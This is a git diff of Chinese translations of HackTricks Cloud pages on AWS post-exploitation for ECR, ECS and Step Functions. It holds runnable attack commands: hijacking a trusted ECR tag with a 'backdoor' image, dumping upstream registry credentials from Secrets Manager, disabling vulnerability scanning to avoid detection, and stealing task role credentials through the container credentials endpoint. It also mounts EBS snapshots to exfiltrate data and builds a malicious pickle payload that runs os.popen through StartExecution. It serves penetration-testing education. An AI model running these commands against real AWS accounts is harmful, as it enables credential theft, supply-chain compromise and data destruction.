mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -4,13 +4,13 @@
|
||||
|
||||
## ECR
|
||||
|
||||
更多信息请参阅
|
||||
更多信息请查看
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 登录、拉取与推送
|
||||
### Login, Pull & Push
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
@@ -47,15 +47,73 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
在下载镜像后,您应该**检查它们是否包含敏感信息**:
|
||||
下载镜像后,你应该**检查它们是否包含敏感信息**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### 通过 `ecr:PutImage` 覆盖受信任的 tag (Tag Hijacking / Supply Chain)
|
||||
|
||||
如果消费者通过 tag 部署(例如 `stable`, `prod`, `latest`)且 tag 可变,`ecr:PutImage` 可以被用来通过将镜像 manifest 上传到该 tag 来**将受信任的 tag 重新指向**攻击者可控的内容。
|
||||
|
||||
一种常见的方法是复制现有的、由攻击者控制的 tag(或 digest)的 manifest,然后用它覆盖受信任的 tag。
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
REPO="<repo_name>"
|
||||
SRC_TAG="backdoor" # attacker-controlled tag already present in the repository
|
||||
DST_TAG="stable" # trusted tag used by downstream systems
|
||||
|
||||
# 1) Fetch the manifest behind the attacker tag
|
||||
MANIFEST="$(aws ecr batch-get-image \
|
||||
--region "$REGION" \
|
||||
--repository-name "$REPO" \
|
||||
--image-ids imageTag="$SRC_TAG" \
|
||||
--query 'images[0].imageManifest' \
|
||||
--output text)"
|
||||
|
||||
# 2) Overwrite the trusted tag with that manifest
|
||||
aws ecr put-image \
|
||||
--region "$REGION" \
|
||||
--repository-name "$REPO" \
|
||||
--image-tag "$DST_TAG" \
|
||||
--image-manifest "$MANIFEST"
|
||||
|
||||
# 3) Verify both tags now point to the same digest
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text
|
||||
```
|
||||
**影响**: 任何拉取 `.../$REPO:$DST_TAG` 的工作负载都会在不修改 IaC、Kubernetes manifests 或 task definitions 的情况下接收到攻击者选择的内容。
|
||||
|
||||
#### 下游消费者示例:Lambda 容器镜像在标签更新时自动刷新
|
||||
|
||||
如果 Lambda 函数以 **容器镜像** (`PackageType=Image`) 部署,并且使用 **ECR tag**(例如 `:stable`、`:prod`)而不是 digest,那么覆盖该 tag 后,在函数刷新时,供应链篡改可能变成 **在 Lambda 执行角色内的代码执行**。
|
||||
|
||||
如何枚举这种情况:
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Find image-based Lambda functions and their ImageUri
|
||||
aws lambda list-functions --region "$REGION" \
|
||||
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
|
||||
tr '\t' '\n' | while read -r fn; do
|
||||
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
|
||||
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
|
||||
done
|
||||
|
||||
# 2) Check whether a function references a mutable tag (contains ":<tag>")
|
||||
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.
|
||||
```
|
||||
刷新通常如何发生:
|
||||
|
||||
- CI/CD 或 GitOps 定期调用 `lambda:UpdateFunctionCode`(即使使用相同的 `ImageUri`)以强制 Lambda 重新解析标签。
|
||||
- 事件驱动的自动化监听 ECR 镜像事件(push/tag 更新)并触发一个刷新器 Lambda/自动化。
|
||||
|
||||
如果你能够覆盖受信任的标签并且存在刷新机制,下次函数被调用时将运行攻击者控制的代码,之后该代码可以读取环境变量、访问网络资源,并使用 Lambda 角色调用 AWS API(例如,`secretsmanager:GetSecretValue`)。
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
拥有任一这些权限的攻击者可以**创建或修改生命周期策略以删除仓库中的所有镜像**,然后**删除整个 ECR 仓库**。这将导致仓库中存储的所有容器镜像丢失。
|
||||
拥有这些权限中的任何一个的攻击者可以**创建或修改生命周期策略来删除仓库中的所有镜像**,然后**删除整个 ECR 仓库**。这将导致存储在仓库中的所有容器镜像丢失。
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -92,19 +150,19 @@ aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-i
|
||||
```
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
如果 ECR Pull‑Through Cache 为需要身份验证的上游注册表(Docker Hub、GHCR、ACR 等)配置,则上游凭证会存储在 AWS Secrets Manager 中,名称前缀可预测:`ecr-pullthroughcache/`。运营者有时会授予 ECR admins 对 Secrets Manager 的广泛读取权限,从而使凭证能够被外部提取并在 AWS 之外重用。
|
||||
如果 ECR Pull‑Through Cache 为需要身份验证的上游注册表(Docker Hub、GHCR、ACR 等)配置,上游 credentials 会存储在 AWS Secrets Manager 中,且具有可预测的名称前缀:`ecr-pullthroughcache/`。运营人员有时会授予 ECR 管理员广泛的 Secrets Manager 读取权限,从而允许 credential exfiltration 并在 AWS 之外重用这些凭证。
|
||||
|
||||
要求
|
||||
Requirements
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
枚举候选 PTC secrets
|
||||
Enumerate candidate PTC secrets
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
导出发现的秘密并解析常见字段
|
||||
转储发现的凭证并解析常见字段
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -114,25 +172,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
可选:针对上游验证 leaked creds(只读 login)
|
||||
可选:验证 leaked creds 是否在上游有效(只读登录)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
影响
|
||||
- 读取这些 Secrets Manager 条目会得到可重用的上游 registry 凭证 (username/password or token),这些凭证可以在 AWS 之外被滥用来拉取私有镜像或根据上游权限访问额外的仓库。
|
||||
Impact
|
||||
- 读取这些 Secrets Manager 条目会获取可重用的上游注册表凭证(用户名/密码或令牌),这些凭证可在 AWS 之外被滥用来拉取私有镜像或根据上游权限访问额外的仓库。
|
||||
|
||||
|
||||
### 注册表级隐蔽:通过 `ecr:PutRegistryScanningConfiguration` 禁用或降级扫描
|
||||
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
具有注册表级 ECR 权限的攻击者可以通过将 registry scanning configuration 设置为 BASIC 并且不设置任何 scan-on-push 规则,悄无声息地降低或禁用对所有仓库的自动漏洞扫描。这样会阻止新镜像被自动扫描,从而隐藏易受攻击或恶意的镜像。
|
||||
拥有注册表级别 ECR 权限的攻击者可以静默地通过将注册表扫描配置设置为 BASIC 且不添加任何 scan-on-push 规则,从而减少或禁用对 ALL repositories 的自动漏洞扫描。这会阻止新镜像推送被自动扫描,从而隐藏易受攻击或恶意的镜像。
|
||||
|
||||
Requirements
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (可选,按仓库)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (用于验证)
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
|
||||
将整个注册表降级为手动(无自动扫描)
|
||||
Registry-wide downgrade to manual (no auto scans)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -144,7 +202,7 @@ aws ecr put-registry-scanning-configuration \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
使用一个 repo 和 image 进行测试
|
||||
使用 repo 和 image 进行测试
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
@@ -159,7 +217,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
可选:在仓库级别进一步降级
|
||||
可选:在仓库范围内进一步降权
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -168,18 +226,19 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
影响
|
||||
- 跨整个注册表的新镜像推送不会被自动扫描,降低了对易受攻击或恶意内容的可见性,并会延迟检测,直到手动启动扫描。
|
||||
- 向整个注册表推送的新镜像不会被自动扫描,降低了对易受攻击或恶意内容的可见性,并导致在手动扫描启动前延迟检测。
|
||||
|
||||
### 通过 `ecr:PutAccountSetting` 对整个注册表的扫描引擎降级 (AWS_NATIVE -> CLAIR)
|
||||
|
||||
通过将 BASIC 扫描引擎从默认的 AWS_NATIVE 切换为旧版 CLAIR 引擎,可以降低整个注册表的漏洞检测质量。这不会禁用扫描,但会实质性改变发现结果/覆盖范围。可与不含规则的 BASIC 注册表扫描配置结合使用,使扫描仅在手动触发时执行。
|
||||
### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
通过将 BASIC 扫描引擎从默认的 AWS_NATIVE 切换为旧的 CLAIR 引擎,可以降低整个注册表的漏洞检测质量。这不会禁用扫描,但会实质性改变检测结果/覆盖范围。将此与没有规则的 BASIC 注册表扫描配置结合,可使扫描仅在手动触发时运行。
|
||||
|
||||
要求
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (可选)`ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
影响
|
||||
- 注册表设置 `BASIC_SCAN_TYPE_VERSION` 被设为 `CLAIR`,因此随后的 BASIC 扫描将使用降级后的引擎运行。CloudTrail 会记录 `PutAccountSetting` API 调用。
|
||||
- 注册表设置 `BASIC_SCAN_TYPE_VERSION` 被设为 `CLAIR`,因此后续的 BASIC 扫描将使用降级的引擎运行。CloudTrail 会记录 `PutAccountSetting` API 调用。
|
||||
|
||||
步骤
|
||||
```bash
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - ECS 后利用
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
更多信息请查看:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
@@ -12,33 +12,33 @@
|
||||
|
||||
### 主机 IAM 角色
|
||||
|
||||
在 ECS 中,**IAM role 可以分配给在容器内运行的 task**。**如果**该 task 在 **EC2** 实例中运行,**EC2 实例** 会附带另一个 **IAM** 角色。\
|
||||
这意味着如果你设法**攻破**一个 ECS 实例,你可能会**获取与 ECR 和 EC2 实例关联的 IAM 角色**。有关如何获取这些凭证的更多信息请查看:
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
这意味着如果你设法**攻陷**某个 ECS 实例,就有可能**获取与 ECR 和 EC2 实例相关联的 IAM 角色**。有关如何获取这些凭证的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> IMDSv2 hop 限制为 1 并**不**会阻止 awsvpc 或 host-networked 任务——只有 Docker bridge 任务足够远,响应才会超时。详见 [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) 以了解完整攻击流程和绕过说明。近期的 [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) 表明即使在强制 IMDSv2+h=1 的情况下,awsvpc 和 host 任务仍会获取主机凭证。
|
||||
> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
另外,EC2 使用 docker 来运行 ECS tasks,所以如果你能逃逸到 node 或 **访问 docker socket**,就可以**查看**哪些**其他容器**在运行,甚至**进入它们**并**窃取其附加的 IAM 角色**。
|
||||
此外,EC2 使用 docker 来运行 ECs tasks,因此如果你能逃逸到节点或**访问 docker socket**,就可以**查看**正在运行的**其他容器**,甚至**进入其中**并**窃取其附加的 IAM 角色**。
|
||||
|
||||
#### 使容器在当前主机运行
|
||||
#### 在当前主机上运行容器
|
||||
|
||||
此外,**EC2 instance role** 通常具有足够的**权限**来**更新集群内作为 node 使用的 EC2 实例的 container instance state**。攻击者可以将某个实例的**state 改为 DRAINING**,然后 ECS 会**从该实例移除所有的 tasks**,那些以 **REPLICA** 方式运行的任务将被**调度到不同的实例上运行**,可能被调度到**攻击者的实例**上,从而使其能够**窃取这些任务的 IAM 角色**以及容器内的潜在敏感信息。
|
||||
此外,**EC2 instance role** 通常具有足够的**权限**来**更新集群中作为节点使用的 EC2 实例的 container instance state**。攻击者可以将某个实例的**状态修改为 DRAINING**,然后 ECS 会**将该实例上的所有 tasks 移除**,那些作为 **REPLICA** 运行的任务会在**不同的实例上运行**,可能会落在**攻击者的实例**中,从而让攻击者**窃取它们的 IAM 角色**以及容器内的潜在敏感信息。
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
相同的技术也可以通过 **deregistering the EC2 instance from the cluster** 来完成。 这可能不那么隐蔽,但它会 **force the tasks to be run in other instances:**
|
||||
相同的技术也可以通过**将 EC2 实例从集群中注销**来完成。这可能较不隐蔽,但它会**强制这些任务在其他实例上运行:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
最后一种强制重新执行任务的技术是向 ECS 指明 **任务或容器已停止**。有 3 个潜在的 APIs 可以做到这一点:
|
||||
最后一种强制重新执行 tasks 的技术是向 ECS 指示 **task 或 container 已被停止**。有 3 个可能的 API 可以做到这一点:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,36 +50,49 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### 从 ECR 容器中窃取敏感信息
|
||||
#### 使用攻击者主机加入集群(Register Container Instance)
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **下载镜像**(你可以在它们中搜索敏感信息)。
|
||||
另一种变体(比 draining 更直接)是通过将你控制的 EC2 实例注册为 container instance(`ecs:RegisterContainerInstance`)并设置所需的 container instance 属性以使 placement constraints 匹配,从而向集群中**添加你控制的容量**。一旦 task 落在你的主机上,你就可以检查/exec 进入容器并获取 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` 凭据。
|
||||
|
||||
参见 ECS privesc 页面中关于 `ecs:RegisterContainerInstance` 的部分以获取完整工作流程。
|
||||
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
### 在 ECS 任务中直接挂载 EBS 快照 (configuredAtLaunch + volumeConfigurations)
|
||||
EC2 实例很可能还具有 `ecr:GetAuthorizationToken` 权限,允许它**下载镜像**(你可以在镜像中搜索敏感信息)。
|
||||
|
||||
滥用原生 ECS 与 EBS 的集成(2024+),在新的 ECS 任务/服务内直接挂载现有 EBS 快照的内容,并在容器内读取其数据。
|
||||
### Steal Task Role Credentials via `ecs:ExecuteCommand`
|
||||
|
||||
- 需要(最低):
|
||||
如果 task 上启用了 `ExecuteCommand`,具有 `ecs:ExecuteCommand` + `ecs:DescribeTasks` 的主体可以在运行中的容器内打开 shell,然后查询**task credentials endpoint** 来获取 **task role** 凭据:
|
||||
|
||||
- 在容器内部:`curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"`
|
||||
- 使用返回的 `AccessKeyId/SecretAccessKey/Token` 以 task role 身份调用 AWS API
|
||||
|
||||
参见 ECS privilege escalation 页面以获取枚举和命令示例。
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
滥用原生 ECS EBS 集成(2024+),可以将现有 EBS 快照的内容直接挂载到新的 ECS task/service 内,并从容器内部读取其数据。
|
||||
|
||||
- 最低需要:
|
||||
- ecs:RegisterTaskDefinition
|
||||
- 以下之一: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- 以下之一:ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole 针对:
|
||||
- ECS infrastructure role 用于 volumes(policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- 在 task definition 中引用的 Task execution/Task roles
|
||||
- 如果快照使用 CMK 加密:infra role 需要 KMS 权限(上面的 AWS managed policy 包含对 AWS managed keys 所需的 KMS 授权)。
|
||||
- 用于 volumes 的 ECS infrastructure role(策略:`service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- task definition 所引用的 task execution/task roles
|
||||
- 如果快照使用 CMK 加密:infra role 需要 KMS 权限(上述 AWS 托管策略包含对 AWS 托管密钥所需的 KMS 授权)。
|
||||
|
||||
- 影响:在容器内从快照读取任意磁盘内容(例如数据库文件),并通过网络/日志 exfiltrate。
|
||||
- 影响:在容器内读取快照中的任意磁盘内容(例如数据库文件)并通过网络/日志等方式外传。
|
||||
|
||||
步骤(Fargate 示例):
|
||||
|
||||
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
|
||||
1) 创建 ECS infrastructure role(如果不存在)并附加托管策略:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) 注册一个 task definition,包含一个标记为 `configuredAtLaunch` 的 volume,并将其挂载到 container 中。示例(打印 secret 然后休眠):
|
||||
2) 注册一个带有标记为 `configuredAtLaunch` 的 volume 的 task definition 并将其挂载到 container 中。示例(打印 secret 然后休眠):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -99,7 +112,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) 通过 `volumeConfigurations.managedEBSVolume` 传递 EBS 快照来创建或更新服务(需要 infra 角色具有 iam:PassRole 权限)。示例:
|
||||
3) 通过 `volumeConfigurations.managedEBSVolume` 传递 EBS snapshot 来创建或更新服务(需要 infra 角色具有 iam:PassRole)。示例:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -113,7 +126,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) 当任务启动时,容器可以在配置的挂载路径(例如 `/loot`)读取快照内容。Exfiltrate via the task’s network/logs。
|
||||
4) 当 task 启动时,container 可以在配置的挂载路径(例如 `/loot`)读取 snapshot 内容。Exfiltrate via the task’s network/logs。
|
||||
|
||||
清理:
|
||||
```bash
|
||||
@@ -123,6 +136,6 @@ aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## 参考资料
|
||||
|
||||
- [Latacora - ECS on EC2:弥补 IMDS 加固中的缺口](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora - ECS on EC2:弥补 IMDS 硬化中的缺口](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,18 +12,18 @@ For more information about this AWS service, check:
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
此权限允许**在执行中揭示秘密数据**。为此,需要将 Inspection level 设置为 TRACE,并将 revealSecrets 参数设为 true。
|
||||
此权限允许**在执行过程中揭示机密数据**。为此,需要将 Inspection level 设置为 TRACE,并将 revealSecrets 参数设为 true。
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
拥有这些权限的攻击者可以永久删除状态机、其版本和别名。这可能破坏关键工作流,导致数据丢失,并需要大量时间来恢复和重建受影响的状态机。此外,这还允许攻击者抹去使用痕迹、妨碍取证调查,并可能通过移除关键的自动化流程和状态配置来严重影响运营。
|
||||
具有这些权限的攻击者可以永久删除状态机、其版本和别名。这会破坏关键工作流、导致数据丢失,并需要大量时间来恢复和还原受影响的状态机。此外,这还允许攻击者掩盖所用的痕迹、干扰取证调查,并可能通过移除重要的自动化流程和状态配置来瘫痪运营。
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - 删除状态机会同时删除其所有关联的版本和别名。
|
||||
> - 删除状态机别名不会删除引用该别名的状态机版本。
|
||||
> - 删除状态机时,也会删除其所有关联的版本和别名。
|
||||
> - 删除状态机别名时,不会删除引用该别名的状态机版本。
|
||||
> - 无法删除当前被一个或多个别名引用的状态机版本。
|
||||
```bash
|
||||
# Delete state machine
|
||||
@@ -33,41 +33,83 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **潜在影响**: 中断关键工作流、数据丢失和运营停机。
|
||||
- **潜在影响**:中断关键工作流、数据丢失和运营停机。
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
拥有此权限的攻击者能够操纵 Map Run 的失败配置和并行设置,增加或减少允许的子工作流执行的最大数量,直接影响服务的吞吐量和性能。此外,攻击者还可以篡改容忍失败的百分比和计数,可能将该值降为 0,这样每当有项失败时,整个 map run 都会失败,直接影响状态机的执行并可能破坏关键工作流。
|
||||
拥有此权限的攻击者可以操纵 Map Run 的失败配置和并行设置,能够增加或减少允许的子工作流执行的最大数量,直接影响服务的吞吐量和性能。此外,攻击者还可以篡改可容忍的失败百分比和失败计数,将该值降为 0,这样每当某个项失败时,整个 Map Run 都会失败,直接影响状态机的执行并可能中断关键工作流。
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Potential Impact**: 性能下降,关键工作流可能被中断。
|
||||
- **潜在影响**: 性能下降,以及关键工作流的中断。
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
具有此权限的攻击者可能能够停止任何状态机的执行,从而中断正在进行的工作流和流程。这可能导致交易未完成、业务运营中断以及潜在的数据损坏。
|
||||
拥有此权限的攻击者可以停止任何状态机的执行,扰乱正在进行的工作流和流程。这可能导致事务未完成、业务运营中断,甚至可能造成数据损坏。
|
||||
|
||||
> [!WARNING]
|
||||
> 此操作不受 **express state machines** 支持。
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **潜在影响**: 正在进行的工作流程中断、运营停机,以及潜在的数据损坏。
|
||||
- **潜在影响**: 正在进行的工作流中断、运营停机以及潜在的数据损坏。
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
攻击者可能会向 Step Functions 资源添加、修改或移除标签,从而破坏贵组织基于标签的成本分配、资源追踪和访问控制策略。
|
||||
攻击者可以向 Step Functions 资源添加、修改或删除标签,从而破坏组织基于标签的成本分配、资源跟踪和访问控制策略。
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**潜在影响**: 干扰成本分配、资源跟踪和基于标签的访问控制策略。
|
||||
**Potential Impact**: 干扰成本分配、资源跟踪和基于标签的访问控制策略。
|
||||
|
||||
---
|
||||
|
||||
### `states:StartExecution` -> Input Injection Into Dangerous Sinks
|
||||
|
||||
`states:StartExecution` 是一个数据平面入口。如果状态机将攻击者控制的输入转发到包含危险 sink 的任务(例如一个 Lambda 执行 `pickle.loads(base64.b64decode(payload_b64))`),有时你可以把 **StartExecution** 变成通过执行输出进行的 **代码执行** 和 **秘密外泄**,而无需任何更新状态机的权限。
|
||||
|
||||
#### 发现工作流程和被调用的 Lambda
|
||||
|
||||
如果你拥有 `states:List*` / `states:Describe*`,你可以枚举并读取状态机定义:
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
SM_ARN="<state_machine_arn>"
|
||||
|
||||
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
|
||||
```
|
||||
如果你也拥有 `lambda:GetFunction`,你可以下载 Lambda 代码包以了解输入如何被处理(并确认是否存在不安全的反序列化):
|
||||
```bash
|
||||
LAMBDA_ARN="<lambda_arn_from_definition>"
|
||||
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
|
||||
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
|
||||
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
|
||||
ls -la /tmp/lambda_code
|
||||
```
|
||||
#### 示例:在执行输入中的精心构造的 pickle (Python)
|
||||
|
||||
如果 Lambda 对攻击者控制的数据执行 unpickle,则恶意 pickle 可以在 deserialization 期间执行代码。下面是一个将在 Lambda runtime 中评估 Python 表达式的示例 payload:
|
||||
```bash
|
||||
PAYLOAD_B64="$(python3 - <<'PY'
|
||||
import base64, pickle
|
||||
|
||||
class P:
|
||||
def __reduce__(self):
|
||||
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
|
||||
return (eval, ("__import__('os').popen('id').read()",))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P())).decode())
|
||||
PY
|
||||
)"
|
||||
|
||||
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
|
||||
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
|
||||
```
|
||||
**Impact**: 任务角色所具有的任何权限 (Secrets Manager reads, S3 writes, KMS decrypt, etc.) 都可能通过精心构造的输入变得可被访问,且结果可能作为 Step Functions 执行输出返回。
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
如果攻击者攻破了具有下列权限的用户或角色:
|
||||
如果攻击者入侵了具有下列权限的用户或角色:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -87,23 +129,23 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
]
|
||||
}
|
||||
```
|
||||
...可以通过将 Lambda backdooring 与 Step Function 逻辑操纵相结合,实施一个**high-impact and stealthy post-exploitation attack**。
|
||||
...可以通过将 Lambda backdooring 与 Step Function logic manipulation 结合,发起一个 **high-impact and stealthy post-exploitation attack**。
|
